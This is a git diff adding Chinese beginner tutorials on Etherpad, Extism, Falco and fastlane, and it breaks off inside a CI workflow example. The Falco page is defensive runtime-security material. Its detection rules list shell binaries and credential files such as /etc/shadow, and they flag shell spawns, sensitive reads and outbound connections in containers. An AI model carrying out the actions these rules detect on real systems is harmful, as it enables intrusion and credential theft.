+  method: 'POST',
+  headers: {
+    Authorization: `Bearer ${TOKEN}`,
+    'Content-Type': 'application/x-www-form-urlencoded',
+  },
+  body: new URLSearchParams({ padID, text }),
+});
+
+const json = await res.json();
+if (json.code !== 0) throw new Error(json.message);
+console.log('pad seeded:', padID);
+```
+
+配合 `getText` / `getHTML` 可把 pad 定稿 **拉回 CMS 发博客**——官方 HTTP API 文档 Example 2 就是「多管理员改 pad → API 取文本 → 入库」。
+
+---
+
+## 代码示例 3：最小插件 — 在 pad 创建时写日志
+
+`src/plugin_packages/ep_hello/ep.json`：
+
+```json
+{
+  "parts": [
+    {
+      "name": "main",
+      "hooks": {
+        "padCreate": "ep_hello/index:onPadCreate"
+      }
+    }
+  ]
+}
+```
+
+`src/plugin_packages/ep_hello/index.js`：
+
+```javascript
+exports.onPadCreate = (hookName, context, cb) => {
+  console.log('[ep_hello] new pad:', context.padId);
+  cb();
+};
+```
+
+重启 Etherpad 后，每次 `createPad` / `createGroupPad` 都会在服务端日志出现 pad id。更复杂的需求（自定义 toolbar、导出 HTML 标签）可挂 `padInitToolbar`、`exportHtmlAdditionalTags` 等 hook。
+
+---
+
+## settings.json 里值得先改的几项
+
+| 键 | 作用 |
+|----|------|
+| `title` | 浏览器标签页标题 |
+| `defaultPadText` | 新建 pad 的初始文案 |
+| `requireSession` | `true` 时必须有 Session，相当于只允许 group pad |
+| `editOnly` | `true` 时用户不能 UI 新建 pad，只能 API 创建 |
+| `minify` | 生产环境压缩 JS/CSS |
+| `dbType` / `dbSettings` | 默认 SQLite；生产用 PostgreSQL |
+
+插件配置也可用环境变量：`EP__ep_comments_page__highlightSelectedText=true`（路径用双下划线分隔）。
+
+---
+
+## 常用插件（按需安装）
+
+官方 README 建议的一包「增强写作体验」：
+
+```sh
+pnpm run plugins i \
+  ep_align ep_comments_page ep_embedded_hyperlinks2 \
+  ep_font_color ep_headings2 ep_markdown ep_webrtc
+```
+
+| 插件 | 能力 |
+|------|------|
+| `ep_markdown` | Markdown 语法与导出 |
+| `ep_headings2` | 标题层级 |
+| `ep_comments_page` | 侧边评论页 |
+| `ep_openid_connect` | 对接企业 IdP 登录 |
+
+---
+
+## Etherpad vs 其他协作编辑器
+
+| 维度 | Etherpad Lite | HedgeDoc | Google Docs |
+|------|---------------|----------|-------------|
+| 定位 | 轻量 embed + API | Markdown 知识库 | 全功能办公 |
+| 协同算法 | OT + changeset | Yjs CRDT（v2） | 专有 OT/CRDT |
+| 自托管 | 一等公民 | AGPL 自建 | 否 |
+| 嵌入/API | HTTP API + iframe | 相对弱 | 有限 API |
+| 格式 | 富文本为主 | Markdown 中心 | 富文本 + 表格 |
+
+选 Etherpad 当你需要 **把实时编辑嵌进已有 Web 应用**，且愿意自己管 Session/Group 映射。
+
+---
+
+## 架构一瞥（零基础版）
+
+```text
+Browser A ──WebSocket──┐
+Browser B ──WebSocket──┼──► Node.js (Express + Socket.IO)
+Browser C ──WebSocket──┘         │
+                                 ├──► PadManager (OT, revisions)
+                                 ├──► Plugin hooks (ep_*)
+                                 └──► DB (SQLite / Postgres / …)
+HTTP API ──REST──────────────► 同上
+```
+
+Ace Editor 负责前端渲染；`clientVars` hook 可向浏览器注入额外配置（例如插件开关）。
+
+---
+
+## 常见坑与排查
+
+1. **API 返回 code 4**：Bearer token 错误或 `sso` 未配置 client credentials。
+2. **Group pad 403**：未设置 Session cookie，或 `requireSession: true` 但用了公开 pad。
+3. **setText 失败 text too long**：改用 POST；检查是否仍把全文塞在 GET query。
+4. **插件不生效**：确认目录在 `src/plugin_packages`，且 `ep.json` 路径与 hook 函数导出一致；看启动日志有无 `Plugin loaded: ep_xxx`。
+5. **iframe 跨域 cookie**：Session cookie 需 **SameSite / 域名** 与父页面策略一致，否则嵌入后「只读访客」。
+
+---
+
+## 延伸学习
+
+- [HTTP API 完整方法列表](https://github.com/ether/etherpad-lite/blob/develop/doc/api/http_api.md)
+- [Server-side hooks 参考](https://docs.etherpad.org/api/hooks_server-side.html)
+- [Docker 部署说明](https://github.com/ether/etherpad-lite/blob/develop/doc/docker.md)
+- Wiki：[HTTP API client libraries](https://github.com/ether/etherpad-lite/wiki/HTTP-API-client-libraries)（多语言 SDK）
+
+---
+
+## 小结
+
+Etherpad Lite 是 **2011 年代至今仍在演进的开源实时协作编辑器**：Pad + OT/changeset 保证多人同步；Author/Group/Session 把外部账号接进来；HTTP API 与 iframe 让它成为 **可编程的协作组件** 而非孤立 SaaS。零基础先 **Docker 跑起来、双人试打字、curl 调一次 createGroupPad**；进阶再写 `ep_` 插件或对接 OpenID。数据在你服务器上，链接即房间——这就是它「经典」的原因。
diff --git a/src/content/docs/projects/expo.md b/src/content/docs/projects/expo.md
index 01206cf63..b9f2ced0a 100644
--- a/src/content/docs/projects/expo.md
+++ b/src/content/docs/projects/expo.md
@@ -187,6 +187,7 @@ export default function ProductDetail() {
 
 - [[ansible]] —— Ansible — 无 agent 配置管理
 - [[electron]] —— Electron — Chromium + Node.js 跨平台桌面应用框架
+- [[fvm]] —— FVM — 按项目锁定 Flutter SDK 版本
 - [[playwright]] —— Playwright — 跨浏览器自动化测试
 - [[react-native]] —— React Native — 用 React 写、编译成真正的原生 App
 - [[react-server-components]] —— React Server Components — 让组件自己决定在哪台机器跑
diff --git a/src/content/docs/projects/extism.md b/src/content/docs/projects/extism.md
new file mode 100644
index 000000000..9f4d87fcf
--- /dev/null
+++ b/src/content/docs/projects/extism.md
@@ -0,0 +1,175 @@
+---
+title: "Extism — 通用 WASM 插件框架"
+来源: https://github.com/extism/extism
+日期: 2026-06-13
+分类: 基础设施
+子分类: wasm-toolchain
+provenance: pipeline-v3
+---
+
+# Extism — 通用 WASM 插件框架
+
+## 日常类比：餐厅里的"万能厨房插座"
+
+想象你开了一家餐厅。传统模式下，菜单上的每一道菜都由你自己的厨师团队制作——你想加一道新菜，就得雇一个新厨师、买新设备、培训流程。
+
+Extism 的做法是：你在每张餐桌旁装上一个"万能厨房插座"。顾客（你的用户）可以自带食材和菜谱（插件代码），插到插座上，餐厅提供灶台、锅碗瓢盆和安全保障（运行时环境），然后顾客做的菜就能端上桌。
+
+关键区别是：
+- 顾客可以用任何语言写菜谱（Rust、Go、Python、JavaScript……最终都编译成 WASM）
+- 顾客做的菜不会弄脏餐厅（沙箱隔离，插件崩溃不影响宿主）
+- 插座是标准化的，换一家餐厅也能用（跨语言、跨平台）
+
+这就是 Extism 的核心：**让任何软件都能被外部代码扩展，而且扩展代码是安全的、跨语言的。**
+
+## 核心概念
+
+### 1. 宿主（Host）与插件（Plugin）
+
+- **宿主**：你写的程序，嵌入了 Extism 库，负责加载和执行插件
+- **插件**：一段编译成 WASM 的代码，由别人（或你自己）编写，实现特定逻辑
+
+类比：宿主是餐厅，插件是顾客自带的菜谱。
+
+### 2. WASM 模块
+
+Extism 的插件本质上是 WebAssembly 模块（`.wasm` 文件）。WASM 是一种字节码格式，可以在任何支持 WASM 的运行时中安全执行。
+
+### 3. 宿主 SDK（Host SDK）
+
+宿主 SDK 是你嵌入 Extism 到自己的程序中时使用的库。Extism 支持几乎所有主流语言：
+
+- Python、Node.js、Rust、Go、Java、C/C++、Ruby、PHP、.NET、Elixir、Haskell、Zig、OCaml……
+
+### 4. 插件开发工具包（PDK）
+
+PDK 是用来编写插件的工具包。你用某种语言写插件逻辑，通过 PDK 提供的接口与 Extism 运行时交互，然后编译成 WASM。
+
+支持的 PDK 语言：Rust、JavaScript、Go、Haskell、AssemblyScript、C、Zig、.NET。
+
+### 5. 清单（Manifest）
+
+Manifest 是插件的"蓝图"，描述了：
+- 插件的 WASM 代码来自哪里（本地文件、内存数据、远程 URL）
+- 插件可用的最大内存
+- 插件允许访问的主机列表（HTTP 限制）
+- 插件允许访问的文件路径
+- 传递给插件的配置数据
+
+### 6. 内存模型
+
+宿主和 WASM 有各自独立的内存空间。Extism 提供了一个中间层来传递数据：
+- 宿主编码输入数据 → 复制到 Extism 管理的缓冲区 → 插件读取
+- 插件编码输出数据 → 复制到 Extism 管理的缓冲区 → 宿主读取
+
+数据以字节流形式传递，SDK 提供了序列化/反序列化的便利方法。
+
+### 7. 宿主函数（Host Functions）
+
+宿主可以向插件注入自定义函数。插件可以像调用普通函数一样调用这些宿主函数，实现双向交互。比如让插件能查询宿主程序的数据库。
+
+## 代码示例一：在 Python 宿主中加载并运行插件
+
+这是最基础的用法——宿主程序加载一个 WASM 插件并调用它的函数。
+
+```python
+from extism import Plugin, Config, Manifest
+
+# 定义要传给插件的配置数据
+config = Config({
+    "greeting": "Hello from Extism!",
+})
+
+# 构建插件清单：指定 WASM 来源和配置
+manifest = Manifest(
+    wasm=["./my_plugin.wasm"],  # 本地 WASM 文件
+    config=config,
+)
+
+# 创建并运行插件
+with Plugin(manifest, allow_host_functions=True) as plugin:
+    # 调用插件中的 "run" 函数，传入输入数据
+    result = plugin.call("run", b'{"name": "Jason"}')
+    
+    # 解析插件返回的结果
+    output = result.output_text()
+    print(output)  # 例如: "Hello Jason! Greeting: Hello from Extism!"
+```
+
+这段代码做了什么：
+1. `Config` 定义了宿主想传给插件的键值对配置
+2. `Manifest` 描述了插件的来源（这里是从本地文件加载 `.wasm`）和配置
+3. `Plugin` 创建了一个插件实例，`with` 语句确保使用后正确清理资源
+4. `call("run", ...)` 调用插件中名为 `run` 的函数，输入是 JSON 字符串
+5. `result.output_text()` 获取插件的输出结果
+
+## 代码示例二：用 Rust PDK 编写一个插件
+
+插件本身用 Rust 编写，通过 Extism 的 Rust PDK 与运行时交互。
+
+```rust
+use extism_pdk::*;
+
+#[derive(Deserialize)]
+struct Cart {
+    total_in_cents: u32,
+    is_new_customer: bool,
+}
+
+#[derive(Serialize)]
+struct Discount {
+    discount_percent: f64,
+}
+
+// 标记这个函数为插件入口，宿主可以通过 call() 调用它
+#[plugin_fn]
+fn before_checkout(Json(cart): Json<Cart>) -> FnResult<Json<Discount>> {
+    let mut discount = Discount {
+        discount_percent: 0.0,
+    };
+
+    // 商家的业务逻辑：新客户且消费满 100 美元，打 8 折
+    if cart.is_new_customer && cart.total_in_cents >= 10000 {
+        discount.discount_percent = 20.0;
+    }
+
+    Ok(Json(discount))
+}
+```
+
+编译后生成 `.wasm` 文件，就可以被任何支持 Extism 的宿主程序加载了。
+
+注意几个关键点：
+- `#[plugin_fn]` 宏标记了这个函数可以被宿主调用
+- 输入和输出通过 JSON 序列化/反序列化
+- 插件不需要知道宿主的任何实现细节，只需要遵循约定的接口
+
+## 为什么需要 Extism？
+
+对比传统的扩展方式：
+
+| 方式 | 安全性 | 跨语言 | 性能 | 部署复杂度 |
+|------|--------|--------|------|-----------|
+| HTTP API 集成 | 高（进程隔离） | 高 | 低（网络延迟） | 高 |
+| 动态代码执行（eval） | 低 | 取决于语言 | 高 | 低 |
+| Docker/K8s 微服务 | 高 | 高 | 中 | 很高 |
+| **Extism (WASM)** | **高（沙箱）** | **高** | **高（本地调用）** | **低** |
+
+Extism 的优势在于：
+1. **安全沙箱**：WASM 天然隔离，插件崩溃不会拖垮宿主
+2. **跨语言**：插件和宿主可以用不同语言编写
+3. **高性能**：本地函数调用，没有网络开销
+4. **轻量**：WASM 模块通常只有几百 KB
+5. **即插即用**：标准接口，换宿主或换插件都很方便
+
+## 典型应用场景
+
+1. **电商折扣规则**：商家自定义打折逻辑（如上面示例）
+2. **数据处理管道**：用户自定义数据转换、过滤、聚合逻辑
+3. **AI/ML 模型热插拔**：在不重启服务的情况下切换不同的推理模型
+4. **工作流引擎**：用户自定义业务流程步骤
+5. **安全策略引擎**：根据用户配置动态调整访问控制规则
+
+## 一句话总结
+
+Extism 让你能在自己的程序里插上"万能插座"，任何人用任何语言写一段安全的 WASM 代码插进来，就能扩展你的程序功能——就像给所有软件装上了可编程的积木接口。
diff --git a/src/content/docs/projects/falco.md b/src/content/docs/projects/falco.md
new file mode 100644
index 000000000..baa9658da
--- /dev/null
+++ b/src/content/docs/projects/falco.md
@@ -0,0 +1,306 @@
+---
+title: Falco 零基础入门 —— 云原生时代的应用运行时安全卫士
+来源: https://github.com/falcosecurity/falco
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: security
+provenance: pipeline-v3
+---
+
+# Falco 零基础入门 —— 云原生时代的应用运行时安全卫士
+
+## 一、什么是 Falco？
+
+### 一个生活类比
+
+想象你在管理一栋写字楼。你装了很多监控摄像头（摄像头记录每一帧画面），但这还不够 —— 你还需要一个 24 小时值班的安保主管，他看过所有摄像头画面后，一旦发现有人没刷卡就进入机房、在走廊放可疑箱子、或者半夜偷偷修改门禁系统，就会立刻拉响警报。
+
+Falco 就是这个"安保主管"。它运行在你的 Linux 系统或 Kubernetes 集群中，**实时监控**每一个进程行为，一旦发现不符合你预期规则的异常动作，就会发出告警。
+
+### 一句话定义
+
+Falco 是 CNCF 的毕业项目，专门用于**云原生环境下的运行时安全检测**。它不靠病毒特征库来判断好坏，而是通过观察系统底层的系统调用（syscall），配合你写的"规则"来判断行为是否正常。
+
+---
+
+## 二、核心概念
+
+Falco 的工作模型可以拆成四个关键部分：
+
+### 1. 事件源（Event Source）
+
+Falco 能看到的"眼睛"。最主要的眼睛是 **Linux 内核的系统调用**。
+
+你运行的每个程序，最终都要向操作系统"申请"资源。比如：
+- `open()` —— 打开一个文件
+- `connect()` —— 发起网络连接
+- `execve()` —— 执行一个新程序
+
+这些动作在 Linux 里都叫系统调用。Falco 在极低的层级拦截它们，拿到每一条记录。
+
+此外，Falco 还支持 Kubernetes 审计日志、AWS CloudTrail 等外部事件源。
+
+### 2. 规则引擎（Rules）
+
+规则是 Falco 的"大脑"。每条规则回答一个问题："在什么情况下，我要拉警报？"
+
+一条完整的 Falco 规则包含五个字段：
+
+| 字段 | 作用 |
+|------|------|
+| `rule` | 规则名称，必须唯一 |
+| `desc` | 规则描述，让人知道它在检测什么 |
+| `condition` | 核心判断条件（布尔表达式） |
+| `output` | 命中后要输出的告警信息 |
+| `priority` | 告警严重程度（从 EMERGENCY 到 DEBUG） |
+
+### 3. 宏（Macro）和列表（List）
+
+- **宏**：类似编程里的"函数"，把一段常见的条件写成可复用的片段。
+- **列表**：类似"数组"，把一组值（比如所有常见 shell 程序名）打包成一个命名集合。
+
+### 4. 输出通道（Output Channel）
+
+告警发出后，可以推送到多种目的地：stdout 日志、HTTP 回调、Slack、Elasticsearch、SNMP 等等。
+
+---
+
+## 三、核心概念详解：规则系统
+
+规则系统是整个 Falco 最核心的概念。理解了规则，你就理解了 Falco 怎么用。
+
+### 宏（Macro） —— 可复用的条件片段
+
+宏让你把重复写的条件抽取出来。比如下面这段条件会频繁出现：
+
+```yaml
+container.id != host
+```
+
+把它定义成一个叫 `container` 的宏：
+
+```yaml
+- macro: container
+  condition: (container.id != host)
+```
+
+以后在规则中只需写 `container`，就相当于写了完整的条件。
+
+宏可以嵌套引用之前定义过的宏。这是 Falco 规则"模块化"的基础。
+
+### 列表（List） —— 命名集合
+
+列表把一堆值打包成名字。比如：
+
+```yaml
+- list: shell_binaries
+  items: [bash, csh, ksh, sh, tcsh, zsh, dash]
+```
+
+在条件中你可以直接写 `proc.name in (shell_binaries)`，比手动列出所有 shell 名简洁得多。
+
+### 优先级（Priority）
+
+| 级别 | 什么时候用 |
+|------|-----------|
+| EMERGENCY | 系统即将崩溃 |
+| ALERT | 需要立即响应 |
+| CRITICAL | 严重安全事件 |
+| ERROR | 写入操作异常（比如文件被恶意修改） |
+| WARNING | 未授权的读操作（比如读取了密码文件） |
+| NOTICE | 意外行为（比如容器里启动了不该有的 shell） |
+| INFORMATIONAL | 违反最佳实践（比如容器以 root 运行） |
+| DEBUG | 调试信息 |
+
+---
+
+## 四、代码示例
+
+### 示例 1：检测容器中启动 Shell
+
+这是最常见的安全场景 —— 如果有人入侵了你的容器，第一件事就是尝试拿到一个交互式 Shell。
+
+```yaml
+# 定义列表：所有常见的 shell 程序名
+- list: shell_binaries
+  items: [bash, csh, ksh, sh, tcsh, zsh, dash]
+
+# 定义宏：事件发生在一个容器里
+- macro: container
+  condition: (container.id != host)
+
+# 定义宏：成功启动了一个新进程
+- macro: spawned_process
+  condition: >
+    evt.type in (execve, execveat) and evt.arg.res = 0
+
+# 规则：在容器内检测到 shell 启动时告警
+- rule: Shell in Container
+  desc: 检测容器内启动 shell 程序的行为
+  condition: >
+    spawned_process and container and proc.name in (shell_binaries)
+  output: >
+    容器内检测到 shell 启动
+    (user=%user.name container_id=%container.id
+     container_name=%container.name shell=%proc.name
+     parent=%proc.pname cmdline=%proc.cmdline)
+  priority: WARNING
+  tags: [container, shell]
+```
+
+**逐行解释：**
+
+- `condition` 说："这是一个新进程 + 在容器里 + 进程名是某个 shell"
+- `output` 用 `%字段名` 输出告警详情，包括哪个用户、哪个容器、哪个 shell
+- `priority: WARNING` 表示这是"未授权读操作"级别的告警
+
+### 示例 2：检测敏感文件被读取
+
+```yaml
+# 定义列表：敏感文件路径
+- list: sensitive_files
+  items: [/etc/shadow, /etc/passwd, /etc/sudoers]
+
+# 规则：读取敏感文件时告警
+- rule: Read Sensitive File
+  desc: 检测读取系统敏感文件的行为
+  condition: >
+    open_read and fd.name in (sensitive_files)
+  output: >
+    敏感文件被读取
+    (file=%fd.name user=%user.name
+     container_id=%container.id)
+  priority: WARNING
+  tags: [filesystem, sensitive_data]
+```
+
+**关键说明：**
+
+- `open_read` 是 Falco 内置宏，匹配所有"以读模式打开文件"的系统调用
+- `fd.name in (sensitive_files)` 引用了我们定义的列表
+- 如果某个进程读取了 `/etc/shadow`，就会触发告警
+
+### 示例 3：检测异常网络连接
+
+```yaml
+# 规则：容器内发起出站网络连接
+- rule: Outbound Connection from Container
+  desc: 检测容器内发起的出站网络连接
+  condition: >
+    conn and container.id != host and
+    fd.sip != "0.0.0.0" and fd.sip != "::"
+  output: >
+    容器发起出站网络连接
+    (connection=%fd.name user=%user.name
+     container=%container.name
+     image=%container.image.repository)
+  priority: NOTICE
+  tags: [network, container]
+```
+
+这个规则利用 `conn` 宏（匹配所有网络连接事件），过滤出源 IP 不是 `0.0.0.0` 的出站连接。
+
+---
+
+## 五、Falco 能发现什么？
+
+Falco 内置了 100+ 条默认规则，覆盖以下场景：
+
+- **Shell 活动**：容器内启动交互式 shell
+- **文件系统**：敏感文件被读取或修改
+- **网络连接**：异常的出站/入站连接
+- **权限变更**：`sudo`、`chmod 777`、用户切换
+- **容器异常**：新容器以 root 运行、挂载了宿主机的敏感目录
+- **内核模块**：动态加载未知内核模块
+- **加密挖矿**：检测到常见的加密货币挖矿程序名
+
+---
+
+## 六、如何部署？
+
+### Docker 快速体验
+
+```bash
+docker run --detach \
+  --name falco \
+  --volume /var/run:/var/run:ro \
+  --volume /dev:/dev:ro \
+  --volume /etc:/etc:ro \
+  --volume /proc:/host/proc:ro \
+  --volume /sys/fs/cgroup:/host/sys/fs/cgroup:ro \
+  --volume /etc/machine-id:/etc/machine-id:ro \
+  --volume /etc/os-release:/etc/os-release:ro \
+  --volume /var/lib/docker:/var/lib/docker:ro \
+  falcosecurity/falco:latest
+```
+
+### Kubernetes（推荐生产使用）
+
+通过 Helm 部署：
+
+```bash
+helm repo add falcosecurity https://falcosecurity.github.io/charts
+helm repo update
+helm install falco falcosecurity/falco --namespace falco --create-namespace
+```
+
+这会以 DaemonSet 的形式在**每个节点**运行一个 Falco 实例，确保全覆盖。
+
+---
+
+## 七、进阶概念
+
+### 事件源多样性
+
+Falco 不止看内核调用。它还能消费：
+
+| 事件源 | 用途 |
+|--------|------|
+| 内核 syscall | 检测进程、文件、网络等运行时行为 |
+| Kubernetes Audit | 检测集群层面的异常操作（如创建 ClusterRole） |
+| AWS CloudTrail | 检测 AWS 管理平面的异常 API 调用 |
+| Okta | 检测身份认证层面的异常行为 |
+
+### 插件系统
+
+通过插件，Falco 可以把告警转发到：Slack、HipChat、Webhook、Elasticsearch、Splunk、Kafka、Prometheus、Datadog 等二十多种目的地。
+
+### ebpf 驱动
+
+Falco 提供多种内核事件采集方式：
+
+- **内核模块（kmod）**：传统方式，加载一个内核驱动
+- **eBPF**：现代方式，用 eBPF 程序在内核中采集，不需要加载内核模块
+- **Modern eBPF**：更新的 eBPF 实现，性能更好
+
+生产环境推荐使用 eBPF，因为它不需要编译和安装内核模块，兼容性更好。
+
+---
+
+## 八、为什么 Falco 用 C++ 而不是 Go？
+
+Falco 团队在 FAQ 里回答了这个问题，核心原因有几点：
+
+1. **性能要求极高**：Falco 每秒要处理成千上万个系统调用，C++ 能提供更精细的内存控制
+2. **执行模型是单线程的**：Falco 的状态是串行的，Go 的并发优势用不上
+3. **底层编程需求**：需要直接操作内核级数据结构
+4. **插件系统兼容 C**：保持 C 兼容接口能让插件用任何语言编写
+
+---
+
+## 九、总结
+
+| 要点 | 说明 |
+|------|------|
+| Falco 是什么 | 云原生运行时安全检测工具 |
+| 工作原理 | 在内核层拦截系统调用 → 用规则判断 → 命中则告警 |
+| 核心概念 | 事件源、规则（condition/output/priority）、宏、列表 |
+| 部署方式 | Docker、Kubernetes（DaemonSet）、裸机 |
+| 典型场景 | 容器内异常 Shell、敏感文件读写、异常网络连接 |
+| 学习路径 | 官方文档 falco.org/docs → 内置默认规则 → 写自定义规则 |
+
+Falco 的核心理念是"行为异常才报警"，而非"特征匹配才报警"。这意味着它甚至能发现未知的攻击手段 —— 只要那个行为不符合你定义的规则。
+
+---
+
+*本文基于 Falco 官方仓库和文档编写，旨在帮助零基础学习者理解 Falco 的核心概念。*
diff --git a/src/content/docs/projects/fastlane.md b/src/content/docs/projects/fastlane.md
new file mode 100644
index 000000000..d07362198
--- /dev/null
+++ b/src/content/docs/projects/fastlane.md
@@ -0,0 +1,329 @@
+---
+title: fastlane — iOS / Android 移动应用发布自动化
+来源: https://github.com/fastlane/fastlane
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+fastlane 是一套用 **Ruby DSL** 写的移动应用发布自动化工具，把 iOS / Android 上那些重复、易错、又不得不做的琐事——改版本号、签名、编译、上传 TestFlight / Google Play、截屏、填元数据——串成一条可重复执行的「流水线」。
+
+日常类比：想象你是一家面包店的店长，每天要 **和面 → 发酵 → 进炉 → 贴标签 → 送到各门店**。以前每个步骤靠人记、靠微信群喊；fastlane 相当于把整套 SOP 写进一本 **配方书（Fastfile）**，店员只要喊一声「走 beta 流程」，机器按顺序做完，出错还能自动通知 Slack。
+
+官方仓库：https://github.com/fastlane/fastlane（MIT，40k+ stars，移动端 CI/CD 的事实标准之一）。
+
+最小可运行示例——`fastlane init` 之后常见的 iOS beta 车道：
+
+```ruby
+# fastlane/Fastfile
+default_platform(:ios)
+
+platform :ios do
+  desc "构建并上传到 TestFlight"
+  lane :beta do
+    increment_build_number
+    build_app(scheme: "MyApp")
+    upload_to_testflight
+  end
+end
+```
+
+终端一行触发：
+
+```bash
+bundle exec fastlane beta
+```
+
+## 为什么重要
+
+如果你做原生 iOS / Android 或 React Native / Flutter 的 **上架与内测分发**，不理解 fastlane 会在这些场景吃亏：
+
+- **签名地狱**：iOS 的证书、Provisioning Profile、Keychain 权限在本地和 CI 上行为不一致；`match` 把签名材料集中进加密 Git 仓库，团队与 CI 共用同一套身份
+- **「我本机能发，CI 不能发」**：手工点 Xcode Archive 能过，Jenkins 上却报 `No signing certificate`——lane 把环境差异显式化（`setup_ci`、`is_ci`）
+- **版本号与元数据漂移**：build number 忘加、截图尺寸不对、What's New 没填——action 原子化每一步，失败点可定位
+- **多商店、多轨道**：TestFlight internal/external、Play Console internal/closed/open/production 轨道，`upload_to_*` 参数即文档
+
+和 Expo EAS 的分工：EAS 偏 **RN 云构建 + OTA**；fastlane 偏 **任意原生工程** 在 **你自己的 Mac / CI** 上驱动 Xcode / Gradle，与商店 API 对话。二者常并存——RN 项目用 `eas build` 出包，仍可用 fastlane 提交商店。
+
+## 核心概念
+
+fastlane 的心智模型可以压成四层：
+
+### 1. Action（动作）
+
+最小执行单元，约 **170+ 内置 action**（构建、测试、上传、Git、通知等）。在 Fastfile 里看起来像函数调用：
+
+```ruby
+increment_build_number(xcodeproj: "MyApp.xcodeproj")
+build_app(scheme: "MyApp", export_method: "app-store")
+upload_to_testflight(skip_waiting_for_build_processing: true)
+```
+
+历史别名仍常见：`gym` ≈ `build_app`，`scan` ≈ `run_tests`，`pilot` ≈ `upload_to_testflight`，`deliver` ≈ `upload_to_app_store`。
+
+### 2. Lane（车道）
+
+**按名字组织的一组 action**，对应团队里的固定流程：`test`、`beta`、`release`。执行：
+
+```bash
+fastlane ios beta      # platform :ios 下的 beta
+fastlane android beta  # platform :android 下的 beta
+fastlane lanes         # 列出所有车道及 desc
+```
+
+Lane 支持 `before_all` / `after_all` / `error` 钩子，以及 **`private_lane`** 做内部子流程拆分。
+
+### 3. Fastfile + Appfile
+
+| 文件 | 作用 |
+|------|------|
+| `fastlane/Fastfile` | 车道与 action 定义（Ruby DSL） |
+| `fastlane/Appfile` | 应用标识：iOS `app_identifier`、`apple_id`；Android `package_name` |
+| `fastlane/Matchfile` | `match` 签名同步配置（可选） |
+| `fastlane/Pluginfile` | 社区插件依赖（可选） |
+
+`fastlane init` 会在项目根下创建 `fastlane/` 目录并引导选择：截屏、TestFlight、App Store 或手动模板。
+
+### 4. 签名与商店：match + upload
+
+- **match**：在私有 Git 仓库存放加密证书与描述文件，开发机与 CI `readonly` 拉取，避免「每人本地一份 p12」
+- **upload_to_testflight / upload_to_app_store**：通过 App Store Connect API（`app_store_connect_api_key` 或 Apple ID 会话）上传
+- **upload_to_play_store**：用 Play Console 服务账号 JSON 上传 AAB/APK
+
+## 安装与项目初始化
+
+官方推荐 **Bundler** 锁定 Ruby 依赖，避免系统 Ruby 冲突：
+
+```bash
+# 项目根目录
+bundle init
+echo 'gem "fastlane"' >> Gemfile
+bundle install
+
+# 进入 iOS 或 Android 工程根目录
+bundle exec fastlane init
+```
+
+习惯用法：
+
+- 本地与 CI 统一：`bundle exec fastlane <lane>`
+- 更新：`bundle update fastlane`
+- CI 第一步：`bundle install`
+
+平台支持：**macOS + Xcode 为 iOS 完整支持**；Linux / Windows 可跑部分 action（如 Android Gradle、spaceship API），但无法本地编 iOS。
+
+## 实践案例
+
+### 案例 1：iOS — TestFlight 内测完整车道
+
+含测试、签名、构建号、上传与 Git 回写——接近真实团队配置：
+
+```ruby
+default_platform(:ios)
+
+platform :ios do
+  before_all do
+    setup_ci if is_ci
+  end
+
+  desc "单元测试 + UI 测试"
+  lane :test do
+    run_tests(
+      scheme: "MyApp",
+      devices: ["iPhone 16"],
+      code_coverage: true
+    )
+  end
+
+  desc "TestFlight Beta"
+  lane :beta do |options|
+    match(type: "appstore", readonly: is_ci)
+
+    increment_build_number(
+      build_number: ENV["GITHUB_RUN_NUMBER"]
+    ) if ENV["GITHUB_RUN_NUMBER"]
+
+    build_app(
+      scheme: "MyApp",
+      export_method: "app-store",
+      output_directory: "./build"
+    )
+
+    upload_to_testflight(
+      skip_waiting_for_build_processing: true,
+      changelog: "CI build #{ENV['GITHUB_SHA']&.slice(0, 7)}"
+    )
+
+    unless options[:skip_git]
+      commit_version_bump(message: "Bump build by fastlane")
+      push_to_git_remote
+    end
+  end
+end
+```
+
+**要点解读**：
+
+- `setup_ci`：在 CI 上创建临时 Keychain，解决无 UI 环境下的签名
+- `match(..., readonly: is_ci)`：CI 只读拉证书，防止并发 job 改坏仓库
+- `ENV["GITHUB_RUN_NUMBER"]`：与 GitHub Actions 构建号对齐，避免重复 build number
+- `skip_waiting_for_build_processing`：上传后不阻塞等 Apple 处理（往往要十几分钟）
+
+运行：`bundle exec fastlane ios beta` 或 `bundle exec fastlane beta`（若已 `default_platform(:ios)`）。
+
+### 案例 2：Android — Google Play Beta 轨道
+
+```ruby
+default_platform(:android)
+
+platform :android do
+  desc "运行 JVM 单元测试"
+  lane :test do
+    gradle(
+      task: "test",
+      project_dir: "android/"
+    )
+  end
+
+  desc "上传 AAB 到 Play Console beta 轨道"
+  lane :beta do
+    gradle(
+      task: "bundle",
+      build_type: "Release",
+      project_dir: "android/"
+    )
+
+    upload_to_play_store(
+      track: "beta",
+      aab: "android/app/build/outputs/bundle/release/app-release.aab",
+      skip_upload_apk: true,
+      skip_upload_metadata: true,
+      skip_upload_images: true,
+      skip_upload_screenshots: true
+    )
+  end
+end
+```
+
+Play 侧需事先在 Console 创建应用、配置 **服务账号** 并把 JSON key 路径交给 fastlane（环境变量 `SUPPLY_JSON_KEY` 或 `json_key_file` 参数）。
+
+### 案例 3：match 初始化（iOS 团队签名）
+
+一次性（管理员机器）：
+
+```bash
+bundle exec fastlane match init
+bundle exec fastlane match appstore
+```
+
+`Matchfile` 片段：
+
+```ruby
+git_url("git@github.com:your-org/certificates.git")
+storage_mode("git")
+type("appstore")
+app_identifier(["com.example.myapp"])
+```
+
+团队成员与 CI 在同一 lane 里调用 `match(type: "appstore", readonly: true)` 即可同步，无需手工导入 p12。
+
+## 与 CI 集成
+
+fastlane 设计目标之一就是 **在 CI 服务器上无人值守跑 lane**。GitHub Actions 最小模板：
+
+```yaml
+name: iOS Beta
+on:
+  push:
+    branches: [main]
+
+jobs:
+  deploy:
+    runs-on: macos-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: ruby/setup-ruby@v1
+        with:
+          ruby-version: "3.2"
+          bundler-cache: true
+      - name: Install Apple certificate via match
+        env:
+          MATCH_PASSWORD: ${{ secrets.MATCH_PASSWORD }}
+          MATCH_GIT_BASIC_AUTHORIZATION: ${{ secrets.MATCH_GIT_BASIC_AUTHORIZATION }}
+        run: bundle exec fastlane match appstore --readonly
+      - name: Beta lane
+        env:
+          APP_STORE_CONNECT_API_KEY_ID: ${{ secrets.ASC_KEY_ID }}
